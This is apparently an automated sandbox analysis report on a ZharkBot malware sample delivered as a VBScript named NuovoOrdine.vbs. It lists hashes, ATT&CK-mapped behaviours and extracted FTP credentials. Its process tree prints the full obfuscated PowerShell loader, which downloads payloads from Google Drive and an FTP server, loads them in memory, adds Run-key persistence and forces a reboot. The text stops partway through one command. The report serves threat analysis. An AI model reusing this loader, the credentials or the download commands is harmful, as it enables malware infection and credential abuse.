zharkbot | 3fa4e2db3d9404f713f1f79a4eb79dda148325407408ef9d9a605479377295c8

General

Target

NuovoOrdine.vbs
Size

562KB
MD5

ca8ac9a5b0023d32bcd76c65512a6cd3
SHA1

25291ca6801339de6d51840f921f6955d7d8f7af
SHA256

3fa4e2db3d9404f713f1f79a4eb79dda148325407408ef9d9a605479377295c8
SHA512

e1e7a3dbc7df71aa2a09e280eb018ef228b14380677cb469ac8d31e125fdbf973246a8f0e99e0ebea288c57b88f574217252ce1b151d8288b24575ac7b0f206f
SSDEEP

1536:kmmmmmmmmmmmmmmmmmmyFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFc:k5o1W

Score

10^/10

zharkbot botnet defense_evasion discovery execution persistence

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

https://drive.google.com/uc?export=download&id=

Extracted

Credentials

Protocol: ftp
Host:
ftp.desckvbrat.com.br
Port:
21
Username:
desckvbrat1
Password:
developerpro21578Jp@@

Signatures

Detects ZharkBot payload 3 IoCs

ZharkBot is a botnet written C++.

resource	yara_rule
behavioral2/memory/1292-59-0x0000000000400000-0x0000000000454000-memory.dmp	zharkcore
behavioral2/memory/1292-61-0x0000000000400000-0x0000000000454000-memory.dmp	zharkcore
behavioral2/memory/1292-63-0x0000000000400000-0x0000000000454000-memory.dmp	zharkcore

ZharkBot
ZharkBot is a botnet written C++.
botnet zharkbot

Blocklisted process makes network request 7 IoCs

flow	pid	Process
5	5052	powershell.exe
10	5052	powershell.exe
19	5052	powershell.exe
23	5052	powershell.exe
26	5052	powershell.exe
33	5052	powershell.exe
37	1692	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\Control Panel\International\Geo\Nation	WScript.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Update Drivers NVIDEO_o = "cmd.exe /c start /min \"\" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Comman \". 'C:\\Users\\Admin\\AppData\\Local\\Microsoft\\LocalLow\\System Update\\gvdba.ps1' \";exit"	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1924	powershell.exe
5052	powershell.exe
3428	powershell.exe
1692	powershell.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
36	pastebin.com
37	pastebin.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1692 set thread context of 1292	1692	powershell.exe	108

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4128	1292	WerFault.exe	108

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe

Suspicious behavior: EnumeratesProcesses 15 IoCs

pid	Process
1924	powershell.exe
1924	powershell.exe
5052	powershell.exe
5052	powershell.exe
5052	powershell.exe
3428	powershell.exe
3428	powershell.exe
1692	powershell.exe
1692	powershell.exe
1692	powershell.exe
1692	powershell.exe
1692	powershell.exe
1692	powershell.exe
1692	powershell.exe
1692	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	1924	powershell.exe
Token: SeDebugPrivilege	5052	powershell.exe
Token: SeDebugPrivilege	3428	powershell.exe
Token: SeDebugPrivilege	1692	powershell.exe

Suspicious use of WriteProcessMemory 27 IoCs

description	pid	Process	procid_target
PID 896 wrote to memory of 1924	896	WScript.exe	89
PID 896 wrote to memory of 1924	896	WScript.exe	89
PID 1924 wrote to memory of 5052	1924	powershell.exe	91
PID 1924 wrote to memory of 5052	1924	powershell.exe	91
PID 5052 wrote to memory of 760	5052	powershell.exe	94
PID 5052 wrote to memory of 760	5052	powershell.exe	94
PID 5052 wrote to memory of 3428	5052	powershell.exe	95
PID 5052 wrote to memory of 3428	5052	powershell.exe	95
PID 5052 wrote to memory of 1692	5052	powershell.exe	104
PID 5052 wrote to memory of 1692	5052	powershell.exe	104
PID 5052 wrote to memory of 3504	5052	powershell.exe	105
PID 5052 wrote to memory of 3504	5052	powershell.exe	105
PID 1692 wrote to memory of 1392	1692	powershell.exe	106
PID 1692 wrote to memory of 1392	1692	powershell.exe	106
PID 1692 wrote to memory of 1392	1692	powershell.exe	106
PID 1692 wrote to memory of 1500	1692	powershell.exe	107
PID 1692 wrote to memory of 1500	1692	powershell.exe	107
PID 1692 wrote to memory of 1500	1692	powershell.exe	107
PID 1692 wrote to memory of 1292	1692	powershell.exe	108
PID 1692 wrote to memory of 1292	1692	powershell.exe	108
PID 1692 wrote to memory of 1292	1692	powershell.exe	108
PID 1692 wrote to memory of 1292	1692	powershell.exe	108
PID 1692 wrote to memory of 1292	1692	powershell.exe	108
PID 1692 wrote to memory of 1292	1692	powershell.exe	108
PID 1692 wrote to memory of 1292	1692	powershell.exe	108
PID 1692 wrote to memory of 1292	1692	powershell.exe	108
PID 1692 wrote to memory of 1292	1692	powershell.exe	108

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\NuovoOrdine.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:896
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$qKKzc = 'OwB9ҼмẦDsҼмẦKQҼмẦgҼмẦCkҼмẦIҼмẦҼмẦnҼмẦGUҼмẦdQByҼмẦHQҼмẦJwҼмẦgҼмẦCwҼмẦIҼмẦBYҼмẦFҼмẦҼмẦVQB1ҼмẦGgҼмẦJҼмẦҼмẦgҼмẦCwҼмẦIҼмẦҼмẦnҼмẦGgҼмẦdҼмẦB0ҼмẦHҼмẦҼмẦcwҼмẦ6ҼмẦC8ҼмẦLwBlҼмẦHYҼмẦaQByҼмẦHQҼмẦdQBhҼмẦGwҼмẦcwBlҼмẦHIҼмẦdgBpҼмẦGMҼмẦZQBzҼмẦHIҼмẦZQB2ҼмẦGkҼмẦZQB3ҼмẦHMҼмẦLgBjҼмẦG8ҼмẦbQҼмẦvҼмẦHcҼмẦcҼмẦҼмẦtҼмẦGkҼмẦbgBjҼмẦGwҼмẦdQBkҼмẦGUҼмẦcwҼмẦvҼмẦGYҼмẦbwBuҼмẦHQҼмẦcwҼмẦvҼмẦGkҼмẦdҼмẦBvҼмẦC4ҼмẦdҼмẦB4ҼмẦHQҼмẦJwҼмẦgҼмẦCgҼмẦIҼмẦBdҼмẦF0ҼмẦWwB0ҼмẦGMҼмẦZQBqҼмẦGIҼмẦbwBbҼмẦCҼмẦҼмẦLҼмẦҼмẦgҼмẦGwҼмẦbҼмẦB1ҼмẦG4ҼмẦJҼмẦҼмẦgҼмẦCgҼмẦZQBrҼмẦG8ҼмẦdgBuҼмẦEkҼмẦLgҼмẦpҼмẦCҼмẦҼмẦJwBJҼмẦFYҼмẦRgByҼмẦHҼмẦҼмẦJwҼмẦgҼмẦCgҼмẦZҼмẦBvҼмẦGgҼмẦdҼмẦBlҼмẦE0ҼмẦdҼмẦBlҼмẦEcҼмẦLgҼмẦpҼмẦCcҼмẦMQBzҼмẦHMҼмẦYQBsҼмẦEMҼмẦLgҼмẦzҼмẦHkҼмẦcgBhҼмẦHIҼмẦYgBpҼмẦEwҼмẦcwBzҼмẦGEҼмẦbҼмẦBDҼмẦCcҼмẦKҼмẦBlҼмẦHҼмẦҼмẦeQBUҼмẦHQҼмẦZQBHҼмẦC4ҼмẦKQҼмẦgҼмẦFoҼмẦYwBCҼмẦGMҼмẦYQҼмẦkҼмẦCҼмẦҼмẦKҼмẦBkҼмẦGEҼмẦbwBMҼмẦC4ҼмẦbgBpҼмẦGEҼмẦbQBvҼмẦEQҼмẦdҼмẦBuҼмẦGUҼмẦcgByҼмẦHUҼмẦQwҼмẦ6ҼмẦDoҼмẦXQBuҼмẦGkҼмẦYQBtҼмẦG8ҼмẦRҼмẦBwҼмẦHҼмẦҼмẦQQҼмẦuҼмẦG0ҼмẦZQB0ҼмẦHMҼмẦeQBTҼмẦFsҼмẦOwҼмẦpҼмẦCҼмẦҼмẦKQҼмẦgҼмẦCcҼмẦQQҼмẦnҼмẦCҼмẦҼмẦLҼмẦҼмẦgҼмẦCcҼмẦkyE6ҼмẦJMhJwҼмẦgҼмẦCgҼмẦZQBjҼмẦGEҼмẦbҼмẦBwҼмẦGUҼмẦUgҼмẦuҼмẦGcҼмẦUwB6ҼмẦEMҼмẦQgBsҼмẦCQҼмẦIҼмẦҼмẦoҼмẦGcҼмẦbgBpҼмẦHIҼмẦdҼмẦBTҼмẦDQҼмẦNgBlҼмẦHMҼмẦYQBCҼмẦG0ҼмẦbwByҼмẦEYҼмẦOgҼмẦ6ҼмẦF0ҼмẦdҼмẦByҼмẦGUҼмẦdgBuҼмẦG8ҼмẦQwҼмẦuҼмẦG0ҼмẦZQB0ҼмẦHMҼмẦeQBTҼмẦFsҼмẦIҼмẦҼмẦ9ҼмẦCҼмẦҼмẦWgBjҼмẦEIҼмẦYwBhҼмẦCQҼмẦIҼмẦBdҼмẦF0ҼмẦWwBlҼмẦHQҼмẦeQBCҼмẦFsҼмẦOwҼмẦnҼмẦCUҼмẦSQBoҼмẦHEҼмẦUgBYҼмẦCUҼмẦJwҼмẦgҼмẦD0ҼмẦIҼмẦBYҼмẦFҼмẦҼмẦVQB1ҼмẦGgҼмẦJҼмẦҼмẦ7ҼмẦCkҼмẦIҼмẦBnҼмẦFMҼмẦegBDҼмẦEIҼмẦbҼмẦҼмẦkҼмẦCҼмẦҼмẦKҼмẦBnҼмẦG4ҼмẦaQByҼмẦHQҼмẦUwBkҼмẦGEҼмẦbwBsҼмẦG4ҼмẦdwBvҼмẦEQҼмẦLgBwҼмẦHoҼмẦeQBhҼмẦCQҼмẦIҼмẦҼмẦ9ҼмẦCҼмẦҼмẦZwBTҼмẦHoҼмẦQwBCҼмẦGwҼмẦJҼмẦҼмẦ7ҼмẦDgҼмẦRgBUҼмẦFUҼмẦOgҼмẦ6ҼмẦF0ҼмẦZwBuҼмẦGkҼмẦZҼмẦBvҼмẦGMҼмẦbgBFҼмẦC4ҼмẦdҼмẦB4ҼмẦGUҼмẦVҼмẦҼмẦuҼмẦG0ҼмẦZQB0ҼмẦHMҼмẦeQBTҼмẦFsҼмẦIҼмẦҼмẦ9ҼмẦCҼмẦҼмẦZwBuҼмẦGkҼмẦZҼмẦBvҼмẦGMҼмẦbgBFҼмẦC4ҼмẦcҼмẦB6ҼмẦHkҼмẦYQҼмẦkҼмẦDsҼмẦKQB0ҼмẦG4ҼмẦZQBpҼмẦGwҼмẦQwBiҼмẦGUҼмẦVwҼмẦuҼмẦHQҼмẦZQBOҼмẦCҼмẦҼмẦdҼмẦBjҼмẦGUҼмẦagBiҼмẦE8ҼмẦLQB3ҼмẦGUҼмẦTgҼмẦoҼмẦCҼмẦҼмẦPQҼмẦgҼмẦHҼмẦҼмẦegB5ҼмẦGEҼмẦJҼмẦҼмẦ7ҼмẦCkҼмẦKҼмẦBlҼмẦHMҼмẦbwBwҼмẦHMҼмẦaQBkҼмẦC4ҼмẦcҼмẦB6ҼмẦHkҼмẦYQҼмẦkҼмẦDsҼмẦKQҼмẦgҼмẦCcҼмẦdҼмẦB4ҼмẦHQҼмẦLgҼмẦxҼмẦDҼмẦҼмẦTҼмẦBMҼмẦEQҼмẦLwҼмẦxҼмẦDҼмẦҼмẦLwByҼмẦGUҼмẦdҼмẦBwҼмẦHkҼмẦcgBjҼмẦHҼмẦҼмẦVQҼмẦvҼмẦHIҼмẦYgҼмẦuҼмẦG0ҼмẦbwBjҼмẦC4ҼмẦdҼмẦBhҼмẦHIҼмẦYgB2ҼмẦGsҼмẦYwBzҼмẦGUҼмẦZҼмẦҼмẦuҼмẦHҼмẦҼмẦdҼмẦBmҼмẦEҼмẦҼмẦMQB0ҼмẦGEҼмẦcgBiҼмẦHYҼмẦawBjҼмẦHMҼмẦZQBkҼмẦC8ҼмẦLwҼмẦ6ҼмẦHҼмẦҼмẦdҼмẦBmҼмẦCcҼмẦIҼмẦҼмẦoҼмẦGcҼмẦbgBpҼмẦHIҼмẦdҼмẦBTҼмẦGQҼмẦYQBvҼмẦGwҼмẦbgB3ҼмẦG8ҼмẦRҼмẦҼмẦuҼмẦHҼмẦҼмẦegB5ҼмẦGEҼмẦJҼмẦҼмẦgҼмẦD0ҼмẦIҼмẦBnҼмẦFMҼмẦegBDҼмẦEIҼмẦbҼмẦҼмẦkҼмẦDsҼмẦKQҼмẦnҼмẦEҼмẦҼмẦQҼмẦBwҼмẦEoҼмẦOҼмẦҼмẦ3ҼмẦDUҼмẦMQҼмẦyҼмẦG8ҼмẦcgBwҼмẦHIҼмẦZQBwҼмẦG8ҼмẦbҼмẦBlҼмẦHYҼмẦZQBkҼмẦCcҼмẦLҼмẦҼмẦpҼмẦCkҼмẦOQҼмẦ0ҼмẦCwҼмẦNgҼмẦxҼмẦDEҼмẦLҼмẦҼмẦ3ҼмẦDkҼмẦLҼмẦҼмẦ0ҼмẦDEҼмẦMQҼмẦsҼмẦDgҼмẦOQҼмẦsҼмẦDgҼмẦMQҼмẦxҼмẦCwҼмẦNwҼмẦwҼмẦDEҼмẦLҼмẦҼмẦ5ҼмẦDkҼмẦLҼмẦҼмẦ1ҼмẦDEҼмẦMQҼмẦsҼмẦDEҼмẦMҼмẦҼмẦxҼмẦCwҼмẦMҼмẦҼмẦwҼмẦDEҼмẦKҼмẦBdҼмẦF0ҼмẦWwByҼмẦGEҼмẦaҼмẦBjҼмẦFsҼмẦIҼмẦBuҼмẦGkҼмẦbwBqҼмẦC0ҼмẦKҼмẦҼмẦoҼмẦGwҼмẦYQBpҼмẦHQҼмẦbgBlҼмẦGQҼмẦZQByҼмẦEMҼмẦawByҼмẦG8ҼмẦdwB0ҼмẦGUҼмẦTgҼмẦuҼмẦHQҼмẦZQBOҼмẦC4ҼмẦbQBlҼмẦHQҼмẦcwB5ҼмẦFMҼмẦIҼмẦB0ҼмẦGMҼмẦZQBqҼмẦGIҼмẦbwҼмẦtҼмẦHcҼмẦZQBuҼмẦCҼмẦҼмẦPQҼмẦgҼмẦHMҼмẦbҼмẦBhҼмẦGkҼмẦdҼмẦBuҼмẦGUҼмẦZҼмẦBlҼмẦHIҼмẦQwҼмẦuҼмẦHҼмẦҼмẦegB5ҼмẦGEҼмẦJҼмẦҼмẦ7ҼмẦDgҼмẦRgBUҼмẦFUҼмẦOgҼмẦ6ҼмẦF0ҼмẦZwBuҼмẦGkҼмẦZҼмẦBvҼмẦGMҼмẦbgBFҼмẦC4ҼмẦdҼмẦB4ҼмẦGUҼмẦVҼмẦҼмẦuҼмẦG0ҼмẦZQB0ҼмẦHMҼмẦeQBTҼмẦFsҼмẦIҼмẦҼмẦ9ҼмẦCҼмẦҼмẦZwBuҼмẦGkҼмẦZҼмẦBvҼмẦGMҼмẦbgBFҼмẦC4ҼмẦcҼмẦB6ҼмẦHkҼмẦYQҼмẦkҼмẦDsҼмẦKQB0ҼмẦG4ҼмẦZQBpҼмẦGwҼмẦQwBiҼмẦGUҼмẦVwҼмẦuҼмẦHQҼмẦZQBOҼмẦCҼмẦҼмẦdҼмẦBjҼмẦGUҼмẦagBiҼмẦE8ҼмẦLQB3ҼмẦGUҼмẦTgҼмẦoҼмẦCҼмẦҼмẦPQҼмẦgҼмẦHҼмẦҼмẦegB5ҼмẦGEҼмẦJҼмẦҼмẦ7ҼмẦGcҼмẦUwB6ҼмẦEMҼмẦQgBsҼмẦCQҼмẦOwҼмẦyҼмẦDEҼмẦcwBsҼмẦFQҼмẦOgҼмẦ6ҼмẦF0ҼмẦZQBwҼмẦHkҼмẦVҼмẦBsҼмẦG8ҼмẦYwBvҼмẦHQҼмẦbwByҼмẦFҼмẦҼмẦeQB0ҼмẦGkҼмẦcgB1ҼмẦGMҼмẦZQBTҼмẦC4ҼмẦdҼмẦBlҼмẦE4ҼмẦLgBtҼмẦGUҼмẦdҼмẦBzҼмẦHkҼмẦUwBbҼмẦCҼмẦҼмẦPQҼмẦgҼмẦGwҼмẦbwBjҼмẦG8ҼмẦdҼмẦBvҼмẦHIҼмẦUҼмẦB5ҼмẦHQҼмẦaQByҼмẦHUҼмẦYwBlҼмẦFMҼмẦOgҼмẦ6ҼмẦF0ҼмẦcgBlҼмẦGcҼмẦYQBuҼмẦGEҼмẦTQB0ҼмẦG4ҼмẦaQBvҼмẦFҼмẦҼмẦZQBjҼмẦGkҼмẦdgByҼмẦGUҼмẦUwҼмẦuҼмẦHQҼмẦZQBOҼмẦC4ҼмẦbQBlҼмẦHQҼмẦcwB5ҼмẦFMҼмẦWwҼмẦ7ҼмẦH0ҼмẦZQB1ҼмẦHIҼмẦdҼмẦҼмẦkҼмẦHsҼмẦIҼмẦҼмẦ9ҼмẦCҼмẦҼмẦawBjҼмẦGEҼмẦYgBsҼмẦGwҼмẦYQBDҼмẦG4ҼмẦbwBpҼмẦHQҼмẦYQBkҼмẦGkҼмẦbҼмẦBhҼмẦFYҼмẦZQB0ҼмẦGEҼмẦYwBpҼмẦGYҼмẦaQB0ҼмẦHIҼмẦZQBDҼмẦHIҼмẦZQB2ҼмẦHIҼмẦZQBTҼмẦDoҼмẦOgBdҼмẦHIҼмẦZQBnҼмẦGEҼмẦbgBhҼмẦE0ҼмẦdҼмẦBuҼмẦGkҼмẦbwBQҼмẦGUҼмẦYwBpҼмẦHYҼмẦcgBlҼмẦFMҼмẦLgB0ҼмẦGUҼмẦTgҼмẦuҼмẦG0ҼмẦZQB0ҼмẦHMҼмẦeQBTҼмẦFsҼмẦewҼмẦgҼмẦGUҼмẦcwBsҼмẦGUҼмẦfQҼмẦgҼмẦGYҼмẦLwҼмẦgҼмẦDҼмẦҼмẦIҼмẦB0ҼмẦC8ҼмẦIҼмẦByҼмẦC8ҼмẦIҼмẦBlҼмẦHgҼмẦZQҼмẦuҼмẦG4ҼмẦdwBvҼмẦGQҼмẦdҼмẦB1ҼмẦGgҼмẦcwҼмẦgҼмẦDsҼмẦJwҼмẦwҼмẦDgҼмẦMQҼмẦgҼмẦHҼмẦҼмẦZQBlҼмẦGwҼмẦcwҼмẦnҼмẦCҼмẦҼмẦZҼмẦBuҼмẦGEҼмẦbQBtҼмẦG8ҼмẦYwҼмẦtҼмẦCҼмẦҼмẦZQB4ҼмẦGUҼмẦLgBsҼмẦGwҼмẦZQBoҼмẦHMҼмẦcgBlҼмẦHcҼмẦbwBwҼмẦDsҼмẦIҼмẦBlҼмẦGMҼмẦcgBvҼмẦGYҼмẦLQҼмẦgҼмẦCkҼмẦIҼмẦҼмẦnҼмẦHҼмẦҼмẦdQB0ҼмẦHIҼмẦYQB0ҼмẦFMҼмẦXҼмẦBzҼмẦG0ҼмẦYQByҼмẦGcҼмẦbwByҼмẦFҼмẦҼмẦXҼмẦB1ҼмẦG4ҼмẦZQBNҼмẦCҼмẦҼмẦdҼмẦByҼмẦGEҼмẦdҼмẦBTҼмẦFwҼмẦcwB3ҼмẦG8ҼмẦZҼмẦBuҼмẦGkҼмẦVwBcҼмẦHQҼмẦZgBvҼмẦHMҼмẦbwByҼмẦGMҼмẦaQBNҼмẦFwҼмẦZwBuҼмẦGkҼмẦbQBhҼмẦG8ҼмẦUgBcҼмẦGEҼмẦdҼмẦBhҼмẦEQҼмẦcҼмẦBwҼмẦEEҼмẦXҼмẦҼмẦnҼмẦCҼмẦҼмẦKwҼмẦgҼмẦFoҼмẦSwBuҼмẦFkҼмẦTQҼмẦkҼмẦCҼмẦҼмẦKҼмẦҼмẦgҼмẦG4ҼмẦbwBpҼмẦHQҼмẦYQBuҼмẦGkҼмẦdҼмẦBzҼмẦGUҼмẦRҼмẦҼмẦtҼмẦCҼмẦҼмẦJwҼмẦlҼмẦEkҼмẦaҼмẦBxҼмẦFIҼмẦWҼмẦҼмẦlҼмẦCcҼмẦIҼмẦBtҼмẦGUҼмẦdҼмẦBJҼмẦC0ҼмẦeQBwҼмẦG8ҼмẦQwҼмẦgҼмẦDsҼмẦIҼмẦB0ҼмẦHIҼмẦYQB0ҼмẦHMҼмẦZQByҼмẦG8ҼмẦbgҼмẦvҼмẦCҼмẦҼмẦdҼмẦBlҼмẦGkҼмẦdQBxҼмẦC8ҼмẦIҼмẦBHҼмẦGMҼмẦVwBpҼмẦFIҼмẦIҼмẦBlҼмẦHgҼмẦZQҼмẦuҼмẦGEҼмẦcwB1ҼмẦHcҼмẦIҼмẦBlҼмẦHgҼмẦZQҼмẦuҼмẦGwҼмẦbҼмẦBlҼмẦGgҼмẦcwByҼмẦGUҼмẦdwBvҼмẦHҼмẦҼмẦIҼмẦҼмẦ7ҼмẦCkҼмẦJwB1ҼмẦHMҼмẦbQҼмẦuҼмẦG4ҼмẦaQB3ҼмẦHҼмẦҼмẦVQBcҼмẦCcҼмẦIҼмẦҼмẦrҼмẦCҼмẦҼмẦTgBKҼмẦFQҼмẦeҼмẦBEҼмẦCQҼмẦKҼмẦҼмẦgҼмẦD0ҼмẦIҼмẦBHҼмẦGMҼмẦVwBpҼмẦFIҼмẦOwҼмẦpҼмẦCҼмẦҼмẦZQBtҼмẦGEҼмẦTgByҼмẦGUҼмẦcwBVҼмẦDoҼмẦOgBdҼмẦHQҼмẦbgBlҼмẦG0ҼмẦbgBvҼмẦHIҼмẦaQB2ҼмẦG4ҼмẦRQBbҼмẦCҼмẦҼмẦKwҼмẦgҼмẦCcҼмẦXҼмẦBzҼмẦHIҼмẦZQBzҼмẦFUҼмẦXҼмẦҼмẦ6ҼмẦEMҼмẦJwҼмẦoҼмẦCҼмẦҼмẦPQҼмẦgҼмẦFoҼмẦSwBuҼмẦFkҼмẦTQҼмẦkҼмẦDsҼмẦKQҼмẦnҼмẦHUҼмẦcwBtҼмẦC4ҼмẦbgBpҼмẦHcҼмẦcҼмẦBVҼмẦFwҼмẦJwҼмẦgҼмẦCsҼмẦIҼмẦBOҼмẦEoҼмẦVҼмẦB4ҼмẦEQҼмẦJҼмẦҼмẦgҼмẦCwҼмẦQgBLҼмẦEwҼмẦUgBVҼмẦCQҼмẦKҼмẦBlҼмẦGwҼмẦaQBGҼмẦGQҼмẦYQBvҼмẦGwҼмẦbgB3ҼмẦG8ҼмẦRҼмẦҼмẦuҼмẦHMҼмẦdҼмẦBtҼмẦG8ҼмẦbwҼмẦkҼмẦDsҼмẦOҼмẦBGҼмẦFQҼмẦVQҼмẦ6ҼмẦDoҼмẦXQBnҼмẦG4ҼмẦaQBkҼмẦG8ҼмẦYwBuҼмẦEUҼмẦLgB0ҼмẦHgҼмẦZQBUҼмẦC4ҼмẦbQBlҼмẦHQҼмẦcwB5ҼмẦFMҼмẦWwҼмẦgҼмẦD0ҼмẦIҼмẦBnҼмẦG4ҼмẦaQBkҼмẦG8ҼмẦYwBuҼмẦEUҼмẦLgBzҼмẦHQҼмẦbQBvҼмẦG8ҼмẦJҼмẦҼмẦ7ҼмẦCkҼмẦdҼмẦBuҼмẦGUҼмẦaQBsҼмẦEMҼмẦYgBlҼмẦFcҼмẦLgB0ҼмẦGUҼмẦTgҼмẦgҼмẦHQҼмẦYwBlҼмẦGoҼмẦYgBPҼмẦC0ҼмẦdwBlҼмẦE4ҼмẦKҼмẦҼмẦgҼмẦD0ҼмẦIҼмẦBzҼмẦHQҼмẦbQBvҼмẦG8ҼмẦJҼмẦҼмẦ7ҼмẦH0ҼмẦOwҼмẦgҼмẦCkҼмẦJwB0ҼмẦE8ҼмẦTҼмẦBjҼмẦF8ҼмẦSwBhҼмẦDMҼмẦWgBmҼмẦG8ҼмẦWҼмẦҼмẦyҼмẦEoҼмẦSgByҼмẦFYҼмẦaҼмẦBtҼмẦFYҼмẦOQBjҼмẦG0ҼмẦOQBYҼмẦHMҼмẦdQBYҼмẦG0ҼмẦagҼмẦxҼмẦGcҼмẦMQҼмẦnҼмẦCҼмẦҼмẦKwҼмẦgҼмẦG8ҼмẦeҼмẦBLҼмẦFUҼмẦZwҼмẦkҼмẦCgҼмẦIҼмẦҼмẦ9ҼмẦCҼмẦҼмẦbwB4ҼмẦEsҼмẦVQBnҼмẦCQҼмẦewҼмẦgҼмẦGUҼмẦcwBsҼмẦGUҼмẦfQҼмẦ7ҼмẦCҼмẦҼмẦKQҼмẦnҼмẦDIҼмẦNҼмẦB1ҼмẦFgҼмẦSgBUҼмẦHEҼмẦYQBtҼмẦGcҼмẦeQBNҼмẦHQҼмẦRgB6ҼмẦGEҼмẦawBQҼмẦFIҼмẦMQBxҼмẦF8ҼмẦSQB2ҼмẦEcҼмẦaQBYҼмẦE4ҼмẦZҼмẦBxҼмẦGEҼмẦTgҼмẦxҼмẦCcҼмẦIҼмẦҼмẦrҼмẦCҼмẦҼмẦbwB4ҼмẦEsҼмẦVQBnҼмẦCQҼмẦKҼмẦҼмẦgҼмẦD0AIABvAHgASwBVAGcAJAB7ACAAKQAgAHUATgBDAFYAcQAkACAAKAAgAGYAaQA7ACAAKQAnADQANgAnACgAcwBuAGkAYQB0AG4AbwBDAC4ARQBSAFUAVABDAEUAVABJAEgAQwBSAEEAXwBSAE8AUwBTAEUAQwBPAFIAUAA6AHYAbgBlACQAIAA9ACAAdQBOAEMAVgBxACQAOwAnAD0AZABpACYAZABhAG8AbABuAHcAbwBkAD0AdAByAG8AcAB4AGUAPwBjAHUALwBtAG8AYwAuAGUAbABnAG8AbwBnAC4AZQB2AGkAcgBkAC8ALwA6AHMAcAB0AHQAaAAnACAAPQAgAG8AeABLAFUAZwAkADsAKQAgACcAdQBzAG0ALgBuAGkAdwBwAFUAXAAnACAAKwAgAE4ASgBUAHgARAAkACAAKAAgAGwAZQBkADsAKQAoAGgAdABhAFAAcABtAGUAVAB0AGUARwA6ADoAXQBoAHQAYQBQAC4ATwBJAC4AbQBlAHQAcwB5AFMAWwAgAD0AIABOAEoAVAB4AEQAJAB7ACAAKQAgAGQAdgBvAGYAWAAkACAAKAAgAGYAaQA7ACAAKQAyACgAcwBsAGEAdQBxAEUALgByAG8AagBhAE0ALgBuAG8AaQBzAHIAZQBWAC4AdABzAG8AaAAkACAAPQAgAGQAdgBvAGYAWAAkACAAOwA=';$kahlN = $qKKzc.replace('ҼмẦ' , 'A') ;$DLOWx = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String( $kahlN ) ); $DLOWx = $DLOWx[-1..-$DLOWx.Length] -join '';$DLOWx = $DLOWx.replace('%XRqhI%','C:\Users\Admin\AppData\Local\Temp\NuovoOrdine.vbs');powershell $DLOWx
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1924
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "; $Xfovd = $host.Version.Major.Equals(2) ;if ( $Xfovd ) {$DxTJN = [System.IO.Path]::GetTempPath();del ( $DxTJN + '\Upwin.msu' );$gUKxo = 'https://drive.google.com/uc?export=download&id=';$qVCNu = $env:PROCESSOR_ARCHITECTURE.Contains('64') ;if ( $qVCNu ) {$gUKxo = ($gUKxo + '1NaqdNXiGvI_q1RPkazFtMygmaqTJXu42') ;}else {$gUKxo = ($gUKxo + '1g1jmXusX9mc9VmhVrJJ2XofZ3aK_cLOt') ;};$oomts = (New-Object Net.WebClient);$oomts.Encoding = [System.Text.Encoding]::UTF8;$oomts.DownloadFile($URLKB, $DxTJN + '\Upwin.msu');$MYnKZ = ('C:\Users\' + [Environment]::UserName );RiWcG = ($DxTJN + '\Upwin.msu'); powershell.exe wusa.exe RiWcG /quiet /norestart ; Copy-Item 'C:\Users\Admin\AppData\Local\Temp\NuovoOrdine.vbs' -Destination ( $MYnKZ + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$lBCzSg;$ayzp = (New-Object Net.WebClient);$ayzp.Encoding = [System.Text.Encoding]::UTF8;$ayzp.Credentials = new-object System.Net.NetworkCredential((-join [char[]](100,101,115,99,107,118,98,114,97,116,49)),'developerpro21578Jp@@');$lBCzSg = $ayzp.DownloadString( 'ftp://[email protected]/Upcrypter/01/DLL01.txt' );$ayzp.dispose();$ayzp = (New-Object Net.WebClient);$ayzp.Encoding = [System.Text.Encoding]::UTF8;$lBCzSg = $ayzp.DownloadString( $lBCzSg );$huUPX = 'C:\Users\Admin\AppData\Local\Temp\NuovoOrdine.vbs';[Byte[]] $acBcZ = [System.Convert]::FromBase64String( $lBCzSg.Replace( '↓:↓' , 'A' ) );[System.AppDomain]::CurrentDomain.Load( $acBcZ ).GetType('ClassLibrary3.Class1').GetMethod( 'prFVI' 